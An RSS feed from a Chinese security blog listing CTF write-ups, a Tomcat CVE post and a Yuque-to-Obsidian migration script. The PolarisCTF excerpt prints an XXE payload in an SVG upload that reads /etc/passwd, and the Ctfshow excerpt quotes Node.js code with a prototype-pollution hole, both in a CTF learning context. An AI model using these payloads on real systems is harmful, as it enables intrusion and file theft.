<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>baozongwi's blog</title><link>https://baozongwi.xyz/</link><description>baozongwi's blog</description><lastBuildDate>Thu, 14 May 2026 06:52:56 +0000</lastBuildDate><atom:link href="https://baozongwi.xyz/" rel="self" type="application/rss+xml"/><item><title>AliCTF2026 Fileury</title><link>https://baozongwi.xyz/p/alictf-2026-fileury/</link><guid>https://baozongwi.xyz/p/alictf-2026-fileury/</guid><pubDate>Wed, 06 May 2026 11:29:09 +0800</pubDate><description>jdk8 一种常见但我第一次学习的手法 ext jar rce</description><content:encoded>TL;DR 之前我有一篇文章 https://baozongwi.xyz/p/alictf-2025-jtools/
就是 fury 反序列化，并且我之前学习复现的时候，知道了华东北分区赛少了一个依赖com.feilong.lib，我猜测可能在未来这个出题人还会再次掏出这题，而出题人也就是大家熟知的 …</content:encoded></item><item><title>京麒CTF2025 FastJ</title><link>https://baozongwi.xyz/p/jqctf-2025-fastj/</link><guid>https://baozongwi.xyz/p/jqctf-2025-fastj/</guid><pubDate>Wed, 06 May 2026 11:29:09 +0800</pubDate><description>缓存🤪</description><content:encoded>TL;DR 题目也不公开😤，差点找不到，感谢 symv1a 师傅提供的附件～ 我听说这道题是一条 only JDK11 gadget，并且后续涉及到任意文件写入到RCE，所以来学习下
分析 回头看看 fastjson 1.2.68 jdk8 任意文件写以及 jdk11 …</content:encoded></item><item><title>从语雀迁移到 Obsidian</title><link>https://baozongwi.xyz/p/yuque-to-obsidian-migration/</link><guid>https://baozongwi.xyz/p/yuque-to-obsidian-migration/</guid><pubDate>Thu, 30 Apr 2026 16:55:51 +0800</pubDate><description>我尝试过直接利用 API 导出转换但是很遗憾，一个 API 一小时的次数实际上迁移这 200 多篇文档居然不够用，直接坠机，然后看到可以导出.lakebook，再转成 Markdown。yuque2markdown 这个工具就是干这个的
git clone https://github.com/alswl/yuque2markdown.git cd yuque2markdown &amp;amp;amp;&amp;amp;amp; \ pip3 install -r requirements.txt 把所有.lakebook下载到 download 目录下之后直接处理，参考这个脚本自己优化了一下，比如图片无法下载等 bug（很多 bug
最后的脚本如下
# coding=utf-8 import json import os import random import shutil import sys import argparse import tarfile from base64 import b64decode from binascii import Error as BinasciiError from io import BytesIO from urllib.parse import unquote, unquote_to_bytes, urlparse from markdownify import markdownify as md from bs4 import BeautifulSoup from PIL import Image, UnidentifiedImageError from requests import get from requests.exceptions import RequestException import yaml import tempfile TYPE_TITLE = &amp;amp;#34;TITLE&amp;amp;#34; TYPE_DOC = &amp;amp;#34;DOC&amp;amp;#34; META_JSON = &amp;amp;#34;$meta.json&amp;amp;#34; TMP_DIR = tempfile.gettempdir() DEFAULT_HEADING_STYLE = &amp;amp;#34;ATX&amp;amp;#34; CONTENT_TYPE_TO_EXTENSION = { &amp;amp;#34;image/gif&amp;amp;#34;: &amp;amp;#34;.gif&amp;amp;#34;, &amp;amp;#34;image/jpeg&amp;amp;#34;: &amp;amp;#34;.jpg&amp;amp;#34;, &amp;amp;#34;image/jpg&amp;amp;#34;: &amp;amp;#34;.jpg&amp;amp;#34;, &amp;amp;#34;image/svg+xml&amp;amp;#34;: &amp;amp;#34;.svg&amp;amp;#34;, &amp;amp;#34;image/png&amp;amp;#34;: &amp;amp;#34;.png&amp;amp;#34;, &amp;amp;#34;image/webp&amp;amp;#34;: &amp;amp;#34;.webp&amp;amp;#34;, } CONVERT_TO_PNG_EXTENSIONS = {&amp;amp;#34;.jpg&amp;amp;#34;, &amp;amp;#34;.jpeg&amp;amp;#34;, &amp;amp;#34;.png&amp;amp;#34;, &amp;amp;#34;.webp&amp;amp;#34;} def sanitizer_file_name(name): name = name.replace(&amp;amp;#34;/&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;\\&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34; &amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;?&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;*&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;&amp;amp;lt;&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;&amp;amp;gt;&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;|&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#39;&amp;amp;#34;&amp;amp;#39;, &amp;amp;#34;_&amp;amp;#34;) name = name.replace(&amp;amp;#34;:&amp;amp;#34;, &amp;amp;#34;_&amp;amp;#34;) return name def read_toc(random_tmp_dir): # open meta json f = open(os.path.join(random_tmp_dir, META_JSON), &amp;amp;#34;r&amp;amp;#34;, encoding=&amp;amp;#34;utf-8&amp;amp;#34;) meta_file_str = json.loads(f.read()) meta_str = meta_file_str.get(&amp;amp;#34;meta&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;) meta = json.loads(meta_str) toc_str = meta.get(&amp;amp;#34;book&amp;amp;#34;, {}).get(&amp;amp;#34;tocYml&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;) toc = yaml.unsafe_load(toc_str) f.close() return toc def extract_repos(repo_dir, output, toc, download_image): last_level = 0 last_sanitized_title = &amp;amp;#34;&amp;amp;#34; path_prefixed = [] for item in toc: t = item[&amp;amp;#34;type&amp;amp;#34;] url = str(item.get(&amp;amp;#34;url&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;)) current_level = item.get(&amp;amp;#34;level&amp;amp;#34;, 0) title = str(item.get(&amp;amp;#34;title&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;)) sanitized_title = sanitizer_file_name(str(title)) if not title: continue while True: if os.path.exists(os.path.join(output, sanitized_title)): sanitized_title = sanitizer_file_name(str(title)) + str( random.randint(0, 1000) ) break if current_level &amp;amp;gt; last_level: path_prefixed = path_prefixed + [last_sanitized_title] elif current_level &amp;amp;lt; last_level: diff = last_level - current_level path_prefixed = path_prefixed[0:-diff] # else: if t == TYPE_DOC: output_dir_path = os.path.join(output, *path_prefixed) if not os.path.exists(output_dir_path): os.makedirs(output_dir_path) article_dir_path = os.path.join(output_dir_path, sanitized_title) if not os.path.exists(article_dir_path): os.makedirs(article_dir_path) raw_path = os.path.join(repo_dir, url + &amp;amp;#34;.json&amp;amp;#34;) raw_file = open(raw_path, &amp;amp;#34;r&amp;amp;#34;, encoding=&amp;amp;#34;utf-8&amp;amp;#34;) doc_str = json.loads(raw_file.read()) html = doc_str[&amp;amp;#34;doc&amp;amp;#34;][&amp;amp;#34;body&amp;amp;#34;] or doc_str[&amp;amp;#34;doc&amp;amp;#34;][&amp;amp;#34;body_asl&amp;amp;#34;] if download_image: html = download_images_and_patch_html( repo_dir, article_dir_path, html ) output_path = os.path.join(article_dir_path, sanitized_title + &amp;amp;#34;.md&amp;amp;#34;) f = open(output_path, &amp;amp;#34;w&amp;amp;#34;, encoding=&amp;amp;#34;utf-8&amp;amp;#34;) f.write(pretty_md(md(html, heading_style=DEFAULT_HEADING_STYLE))) last_sanitized_title = sanitized_title last_level = current_level def download_images_and_patch_html(repo_dir, output_dir_path, html): bs = BeautifulSoup(html, &amp;amp;#34;html.parser&amp;amp;#34;) if len(bs.find_all(&amp;amp;#34;img&amp;amp;#34;)) &amp;amp;gt; 0: attachments_dir_path = os.path.join(output_dir_path, &amp;amp;#34;assets&amp;amp;#34;) if not os.path.exists(attachments_dir_path): os.mkdir(attachments_dir_path) no = 1 for image in bs.find_all(&amp;amp;#34;img&amp;amp;#34;): src = image.get(&amp;amp;#34;src&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;) if not src: continue parsed_src = urlparse(src) png_file_name = &amp;amp;#34;%03d.png&amp;amp;#34; % no attachments_file_path = os.path.join(attachments_dir_path, png_file_name) if parsed_src.scheme in (&amp;amp;#34;http&amp;amp;#34;, &amp;amp;#34;https&amp;amp;#34;) or src.startswith(&amp;amp;#34;//&amp;amp;#34;): url = &amp;amp;#34;https:&amp;amp;#34; + src if src.startswith(&amp;amp;#34;//&amp;amp;#34;) else src print(&amp;amp;#34;Download %s&amp;amp;#34; % src) try: resp = get(url, timeout=30) resp.raise_for_status() except RequestException as e: print(&amp;amp;#34;Skip image %s: %s&amp;amp;#34; % (src, e)) continue content_type = resp.headers.get(&amp;amp;#34;Content-Type&amp;amp;#34;, &amp;amp;#34;&amp;amp;#34;) if should_convert_to_png(src, content_type) and save_image_as_png( BytesIO(resp.content), attachments_file_path ): file_name = png_file_name else: file_name = save_original_image( resp.content, attachments_dir_path, no, src, content_type ) elif parsed_src.scheme == &amp;amp;#34;data&amp;amp;#34;: data_uri = parse_data_uri(src) if not data_uri: print(&amp;amp;#34;Skip image %s: invalid data URI&amp;amp;#34; % src[:80]) continue content_type, image_data = data_uri if should_convert_to_png(src, content_type) and save_image_as_png( BytesIO(image_data), attachments_file_path ): file_name = png_file_name else: file_name = save_original_image( image_data, attachments_dir_path, no, src, content_type ) elif parsed_src.scheme: print(&amp;amp;#34;Skip image %s: unsupported scheme&amp;amp;#34; % src) continue else: src_path = unquote(parsed_src.path).lstrip(&amp;amp;#34;/&amp;amp;#34;) local_image_path = os.path.abspath(os.path.join(repo_dir, src_path)) repo_dir_abs = os.path.abspath(repo_dir) if not local_image_path.startswith(repo_dir_abs + os.sep) or not os.path.isfile( local_image_path ): print(&amp;amp;#34;Remove image %s: local file not found&amp;amp;#34; % src) image.decompose() continue if should_convert_to_png(src) and save_image_as_png( local_image_path, attachments_file_path ): file_name = png_file_name else: file_name = save_original_file( local_image_path, attachments_dir_path, no, src ) no = no + 1 image[&amp;amp;#34;src&amp;amp;#34;] = &amp;amp;#34;./assets/&amp;amp;#34; + file_name html = str(bs) return html else: return html def should_convert_to_png(src, content_type=&amp;amp;#34;&amp;amp;#34;): extension = image_extension(src, content_type, &amp;amp;#34;&amp;amp;#34;) return extension == &amp;amp;#34;&amp;amp;#34; or extension in CONVERT_TO_PNG_EXTENSIONS def image_extension(src, content_type=&amp;amp;#34;&amp;amp;#34;, default=&amp;amp;#34;.img&amp;amp;#34;): content_type = content_type.split(&amp;amp;#34;;&amp;amp;#34;, 1)[0].strip().lower() if content_type in CONTENT_TYPE_TO_EXTENSION: return CONTENT_TYPE_TO_EXTENSION[content_type] extension = os.path.splitext(unquote(urlparse(src).path))[1].lower() if extension: return extension return default def save_original_image(image_data, attachments_dir_path, no, src, content_type=&amp;amp;#34;&amp;amp;#34;): file_name = &amp;amp;#34;%03d%s&amp;amp;#34; % (no, image_extension(src, content_type)) attachments_file_path = os.path.join(attachments_dir_path, file_name) with open(attachments_file_path, &amp;amp;#34;wb&amp;amp;#34;) as f: f.write(image_data) return file_name def save_original_file(local_image_path, attachments_dir_path, no, src): file_name = &amp;amp;#34;%03d%s&amp;amp;#34; % (no, image_extension(src)) attachments_file_path = os.path.join(attachments_dir_path, file_name) shutil.copyfile(local_image_path, attachments_file_path) return file_name def parse_data_uri(src): try: header, image_data = src.split(&amp;amp;#34;,&amp;amp;#34;, 1) except ValueError: return None if not header.startswith(&amp;amp;#34;data:&amp;amp;#34;): return None parts = header[5:].split(&amp;amp;#34;;&amp;amp;#34;) content_type = parts[0] or &amp;amp;#34;text/plain&amp;amp;#34; try: if &amp;amp;#34;base64&amp;amp;#34; in parts[1:]: image_data = b64decode(image_data) else: image_data = unquote_to_bytes(image_data) except (BinasciiError, ValueError): return None return content_type, image_data def save_image_as_png(image_file, output_path): try: with Image.open(image_file) as image: if image.mode in (&amp;amp;#34;RGBA&amp;amp;#34;, &amp;amp;#34;LA&amp;amp;#34;): output = image elif image.mode == &amp;amp;#34;P&amp;amp;#34; and &amp;amp;#34;transparency&amp;amp;#34; in image.info: output = image.convert(&amp;amp;#34;RGBA&amp;amp;#34;) else: output = image.convert(&amp;amp;#34;RGB&amp;amp;#34;) output.save(output_path, &amp;amp;#34;PNG&amp;amp;#34;) except (OSError, UnidentifiedImageError): return False return True def pretty_md(text: str) -&amp;amp;gt; str: output = text lines = output.split(&amp;amp;#34;\n&amp;amp;#34;) for i in range(len(lines)): lines[i] = lines[i].rstrip() output = &amp;amp;#34;\n&amp;amp;#34;.join(lines) for i in range(50): output = output.replace(&amp;amp;#34;\n\n\n&amp;amp;#34;, &amp;amp;#34;\n\n&amp;amp;#34;) if &amp;amp;#34;\n\n\n&amp;amp;#34; not in output: break return output def main(): parser = argparse.ArgumentParser(description=&amp;amp;#34;Convert Yuque doc to markdown&amp;amp;#34;) parser.add_argument(&amp;amp;#34;lakebook&amp;amp;#34;, help=&amp;amp;#34;Lakebook file&amp;amp;#34;) parser.add_argument(&amp;amp;#34;output&amp;amp;#34;, help=&amp;amp;#34;Output directory&amp;amp;#34;) parser.add_argument( &amp;amp;#34;--download-image&amp;amp;#34;, help=&amp;amp;#34;Download images to local&amp;amp;#34;, action=&amp;amp;#34;store_true&amp;amp;#34; ) args = parser.parse_args() if not os.path.exists(args.lakebook): print(&amp;amp;#34;Lakebook file not found: &amp;amp;#34; + args.lakebook) sys.exit(1) if not os.path.exists(args.output): os.mkdir(args.output) # extract lakebook file random_tmp_dir = os.path.join(TMP_DIR, &amp;amp;#34;lakebook_&amp;amp;#34; + str(os.getpid())) extract_tar(args.lakebook, random_tmp_dir) # detect only one directory in random_tmp_dir repo_dir = &amp;amp;#34;&amp;amp;#34; for root, dirs, files in os.walk(random_tmp_dir): for d in dirs: repo_dir = os.path.join(random_tmp_dir, d) break break if not repo_dir: print(&amp;amp;#34;.lakebook file is invalid&amp;amp;#34;) sys.exit(1) toc = read_toc(repo_dir) # print len of toc print(&amp;amp;#34;Total &amp;amp;#34; + str(len(toc)) + &amp;amp;#34; files&amp;amp;#34;) extract_repos(repo_dir, args.output, toc, args.download_image) # remove tmp dir shutil.rmtree(random_tmp_dir) # extract tar file in tar.gz def extract_tar(tar_file, target_dir): if not os.path.exists(target_dir): os.mkdir(target_dir) tar = tarfile.open(tar_file) names = tar.getnames() for name in names: tar.extract(name, target_dir) tar.close() if __name__ == &amp;amp;#34;__main__&amp;amp;#34;: main() ## python3 yuque2markdown.py &amp;amp;#34;/Users/baozongwi/Downloads/实习.lakebook&amp;amp;#34; &amp;amp;#34;/Users/baozongwi/My_Vault/实习&amp;amp;#34; --download-image</description><content:encoded>我尝试过直接利用 API 导出转换但是很遗憾，一个 API 一小时的次数实际上迁移这 200 多篇文档居然不够用，直接坠机，然后看到可以导出.lakebook，再转成 Markdown。yuque2markdown 这个工具就是干这个的
git clone …</content:encoded></item><item><title>Ctfshow 一些少解的题目</title><link>https://baozongwi.xyz/p/ctfshow-rare-solved-challenges/</link><guid>https://baozongwi.xyz/p/ctfshow-rare-solved-challenges/</guid><pubDate>Wed, 29 Apr 2026 16:58:02 +0800</pubDate><description>并不是说他一定是少解的，而是网上 WP 可能不详细且此前一年、两年 baozongwi 无法独立解决的题目
未完成的项目 F5 杯 很久以前的题目，出自 Y4tacker 大手子，首先直接进行了js 泄露，拿到源码
var express = require(&amp;amp;#39;express&amp;amp;#39;); var router = express.Router(); var db = require(&amp;amp;#39;mysql-promise&amp;amp;#39;) const mysql = require( &amp;amp;#39;mysql&amp;amp;#39; ); const connection = require(&amp;amp;#34;mysql&amp;amp;#34;); class Database { constructor( config ) { this.connection = mysql.createConnection( config ); } query( sql, args ) { return new Promise( ( resolve, reject ) =&amp;amp;gt; { this.connection.query( sql, args, ( err, rows ) =&amp;amp;gt; { if ( err ) return reject( err ); resolve( rows ); } ); } ); } close() { return new Promise( ( resolve, reject ) =&amp;amp;gt; { this.connection.end( err =&amp;amp;gt; { if ( err ) return reject(err); resolve(); } ); } ); } } const isObject = obj =&amp;amp;gt; obj &amp;amp;amp;&amp;amp;amp; obj.constructor &amp;amp;amp;&amp;amp;amp; obj.constructor === Object; function merge(a, b) { for (var attr in b) { if (isObject(a[attr]) &amp;amp;amp;&amp;amp;amp; isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } function clone(a) { return merge({}, a); } router.get(&amp;amp;#39;/&amp;amp;#39;,function (req,res,next) { console.log(&amp;amp;#34;index&amp;amp;#34;); //res.render(&amp;amp;#39;index&amp;amp;#39;, {title: &amp;amp;#39;HTML&amp;amp;#39;}); }) /* GET home page. */ router.post(&amp;amp;#39;/&amp;amp;#39;, function(req, res, next) { var body = JSON.parse(JSON.stringify(req.body)); if (body.host != undefined) { return res.json({ &amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;fu** hacker!!!&amp;amp;#34; }) } var num = 0 for(i in body){ num ++; } if(num!=2){ return res.json({ &amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;fu** hacker!!!&amp;amp;#34; }) }else{ if(body.username==undefined||body.password==undefined){ return res.json({ &amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;fu** hacker!!!&amp;amp;#34; }) } } var copybody = clone(body) var host = copybody.host == undefined ? &amp;amp;#34;localhost&amp;amp;#34; : copybody.host var flag = &amp;amp;#34;123432432432&amp;amp;#34; var config = { host: host, user: &amp;amp;#39;root&amp;amp;#39;, password: &amp;amp;#39;root&amp;amp;#39;, database: &amp;amp;#39;users&amp;amp;#39; }; let database=new Database(config); var user = copybody.username var pass = copybody.password function isInValiCode(str) { var reg= /-| |#|[\x00-\x2f]|[\x3a-\x3f]/; return reg.test(str); } if (isInValiCode(user)){ return res.json({ &amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;no hacker!!!&amp;amp;#34; }) } let someRows, otherRows; database.query( &amp;amp;#39;select * from user where user= ? and passwd =?&amp;amp;#39;, [user,pass] ) .then( rows =&amp;amp;gt; { if (1 == rows[0].Id) { res.json({ &amp;amp;#34;msg&amp;amp;#34;:flag }) } } ) .then( rows =&amp;amp;gt; { otherRows = rows; return database.close(); }, err =&amp;amp;gt; { return database.close().then( () =&amp;amp;gt; { throw err; } ) } ) .then( () =&amp;amp;gt; { res.json({ &amp;amp;#34;error&amp;amp;#34;: &amp;amp;#34;err&amp;amp;#34;,&amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;user or pass err&amp;amp;#34; }) }) .catch( err =&amp;amp;gt; { res.json({ &amp;amp;#34;error&amp;amp;#34;: &amp;amp;#34;err&amp;amp;#34;,&amp;amp;#34;msg&amp;amp;#34;:&amp;amp;#34;user or pass err&amp;amp;#34; }) } ) }); module.exports = router; 一眼看到有个 merge 函数，登录接口里虽然禁止直接传 host，但后面又从 copybody.host 取 MySQL 连接地址</description><content:encoded>并不是说他一定是少解的，而是网上 WP 可能不详细且此前一年、两年 baozongwi 无法独立解决的题目
未完成的项目 F5 杯 很久以前的题目，出自 Y4tacker 大手子，首先直接进行了js 泄露，拿到源码
var express = require(&amp;amp;amp;#39;express&amp;amp;amp;#39;); …</content:encoded></item><item><title>CVE-2026-34486</title><link>https://baozongwi.xyz/p/cve-2026-34486/</link><guid>https://baozongwi.xyz/p/cve-2026-34486/</guid><pubDate>Wed, 15 Apr 2026 22:20:53 +0800</pubDate><description>看我装糖阴他一手🙈</description><content:encoded>一开始是 QAX 微信公众号发了推文，群友转发推文，并提及“Tomcat 又又又又 RCE 了”，但是我一看怎么评分才7.5 分，那么他肯定是有条件的 RCE，并且条件还不小🙂‍↔️
在 2026 年 3 月 13 日，一个单一的提交被应用到所有三个活跃分支，引入了回归。
Branch 分支 …</content:encoded></item><item><title>Hugo博客密码插件设计</title><link>https://baozongwi.xyz/p/hugo-password-design/</link><guid>https://baozongwi.xyz/p/hugo-password-design/</guid><pubDate>Sat, 11 Apr 2026 15:05:23 +0800</pubDate><description>Protected content is hidden until the correct password is entered.</description><content:encoded>Protected content is hidden until the correct password is entered.</content:encoded></item><item><title>Sub2api 搭建</title><link>https://baozongwi.xyz/p/sub2api-setup/</link><guid>https://baozongwi.xyz/p/sub2api-setup/</guid><pubDate>Sat, 11 Apr 2026 14:32:12 +0800</pubDate><description>站起来蹬🚉</description><content:encoded>TL;DR 由于中转站的注册机大多都是 free 的账号，每次官方充值额度就会被封号，然后我前段日子在群里和好哥哥们闲聊发现还不止一个人有 sub2api，自己统筹管理自己的账号，再加上自己的邮箱有好几个，plus 账号也足够便宜，所以我也搞了一个，虽然中途出了点问题，但是 @Mnzn 帮我解决了， …</content:encoded></item><item><title>Polarisctf 2026</title><link>https://baozongwi.xyz/p/polarisctf-2026/</link><guid>https://baozongwi.xyz/p/polarisctf-2026/</guid><pubDate>Sat, 04 Apr 2026 12:04:07 +0800</pubDate><description>头像上传器 /api/avatar.php 可以打 XXE，可以解析 php://filter所以直接打 filter-chain，
POST /api/upload.php HTTP/1.1 Host: 80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn Content-Length: 392 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBn7FqU28RNwXElDx Accept: */* Origin: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn Referer: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn/home.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: _ga=GA1.1.360932415.1774506199; _clck=1j4ja68%5E2%5Eg4r%5E0%5E2276; _ga_BFDVYZJ3DE=GS2.1.s1774772786$o6$g0$t1774772786$j60$l0$h0; _clsk=970rhe%5E1774772788346%5E1%5E1%5Ei.clarity.ms%2Fcollect; PHPSESSID=j6eirikj9ds15has0ctqptmiro Connection: keep-alive ------WebKitFormBoundaryBn7FqU28RNwXElDx Content-Disposition: form-data; name=&amp;amp;#34;file&amp;amp;#34;; filename=&amp;amp;#34;1.svg&amp;amp;#34; Content-Type: image/svg+xml &amp;amp;lt;?xml version=&amp;amp;#34;1.0&amp;amp;#34;?&amp;amp;gt; &amp;amp;lt;!DOCTYPE svg [ &amp;amp;lt;!ENTITY xxe SYSTEM &amp;amp;#34;php://filter/convert.base64-encode/resource=/etc/passwd&amp;amp;#34;&amp;amp;gt; ]&amp;amp;gt; &amp;amp;lt;svg xmlns=&amp;amp;#34;http://www.w3.org/2000/svg&amp;amp;#34;&amp;amp;gt; &amp;amp;lt;text x=&amp;amp;#34;0&amp;amp;#34; y=&amp;amp;#34;20&amp;amp;#34;&amp;amp;gt;&amp;amp;amp;xxe;&amp;amp;lt;/text&amp;amp;gt; &amp;amp;lt;/svg&amp;amp;gt; ------WebKitFormBoundaryBn7FqU28RNwXElDx-- 保存
POST /api/update_profile.php HTTP/1.1 Host: 80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn Content-Length: 60 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn Referer: http://80-5f7b9a82-754e-4797-9a96-f13ac6f12b01.challenge.ctfplus.cn/home.html Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: _ga=GA1.1.360932415.1774506199; _clck=1j4ja68%5E2%5Eg4r%5E0%5E2276; _ga_BFDVYZJ3DE=GS2.1.s1774772786$o6$g0$t1774772786$j60$l0$h0; _clsk=970rhe%5E1774772788346%5E1%5E1%5Ei.clarity.ms%2Fcollect; PHPSESSID=j6eirikj9ds15has0ctqptmiro Connection: keep-alive {&amp;amp;#34;display_name&amp;amp;#34;:&amp;amp;#34;test&amp;amp;#34;,&amp;amp;#34;avatar_name&amp;amp;#34;:&amp;amp;#34;0b403f917f196872.svg&amp;amp;#34;} 读取</description><content:encoded>头像上传器 /api/avatar.php 可以打 XXE，可以解析 php://filter所以直接打 filter-chain，
POST /api/upload.php HTTP/1.1 Host: …</content:encoded></item></channel></rss>